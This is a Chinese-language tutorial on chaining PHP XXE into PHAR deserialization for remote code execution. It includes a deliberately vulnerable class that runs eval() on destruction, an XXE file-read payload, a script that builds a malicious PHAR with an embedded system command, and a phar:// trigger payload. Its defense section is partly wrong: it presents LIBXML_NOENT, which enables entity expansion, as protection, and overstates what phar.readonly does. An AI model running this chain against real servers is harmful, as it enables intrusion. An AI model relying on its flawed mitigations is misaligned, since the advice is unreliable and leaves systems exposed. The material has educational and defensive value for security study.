从xxe到phar反序列化-PHP
字数 989 2025-08-03 16:45:01
从XXE到PHAR反序列化漏洞利用教程
一、XXE漏洞基础
1.1 XXE漏洞简介
XXE (XML External Entity) 漏洞是一种XML解析漏洞,当应用程序解析用户提供的XML输入时,未禁用外部实体引用,导致攻击者可以读取服务器上的任意文件或发起SSRF攻击。
1.2 PHP中的XXE漏洞条件
- 使用libxml库解析XML(PHP默认使用libxml)
- libxml版本≤2.9.0默认允许外部实体解析
- 或代码中主动启用了外部实体解析(
LIBXML_NOENT选项)
1.3 漏洞代码示例
class Test{
public $cmd;
public function __destruct()
{
eval($this->cmd);
}
}
$xmlfile = @file_get_contents("php://input");
$result = @simplexml_load_string($xmlfile);
echo $result;
二、XXE漏洞利用
2.1 基本利用 - 文件读取
构造恶意XML读取系统文件:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >
]>
<foo>&xxe;</foo>
2.2 支持的协议
PHP中XXE支持的协议包括:
file://- 读取本地文件http://- 发起HTTP请求ftp://- 发起FTP请求phar://- PHAR协议(关键点)
三、PHAR反序列化
3.1 PHAR文件结构
PHAR(PHP Archive)是PHP的归档文件格式,包含:
- Stub - 文件头,必须包含
__HALT_COMPILER(); - Manifest - 元数据,可包含序列化对象
- 文件内容
- 签名
3.2 反序列化漏洞原理
当PHP使用phar://协议解析PHAR文件时,会自动反序列化manifest中的元数据。如果元数据包含恶意对象,可能触发危险魔术方法。
3.3 构造恶意PHAR文件
<?php
class Test{
public function __construct(){
$this->cmd = 'system(whoami);';
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); // 后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置stub
$o = new Test();
$phar->setMetadata($o); // 将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
?>
四、组合利用XXE和PHAR反序列化
4.1 利用条件
- 存在XXE漏洞
- 有文件上传点或已知服务器上的PHAR文件路径
- 存在可利用的反序列化类
4.2 利用步骤
- 构造恶意PHAR文件并上传到服务器
- 通过XXE使用phar协议触发反序列化:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "phar:///path/to/uploaded/phar.phar" >
]>
<foo>&xxe;</foo>
五、防御措施
5.1 防御XXE
- 禁用外部实体解析:
libxml_disable_entity_loader(true);
- 或使用:
simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
5.2 防御PHAR反序列化
- 限制phar协议的使用
- 对反序列化操作进行严格过滤
- 使用
phar.readonly=On配置(默认开启)
六、总结
本教程展示了如何从XXE漏洞出发,利用phar协议触发反序列化漏洞实现RCE。关键在于:
- 识别XXE漏洞并确认支持phar协议
- 构造包含恶意对象的PHAR文件
- 通过XXE触发phar反序列化
这种组合攻击方式扩展了XXE漏洞的利用场景,从单纯的信息泄露升级为远程代码执行。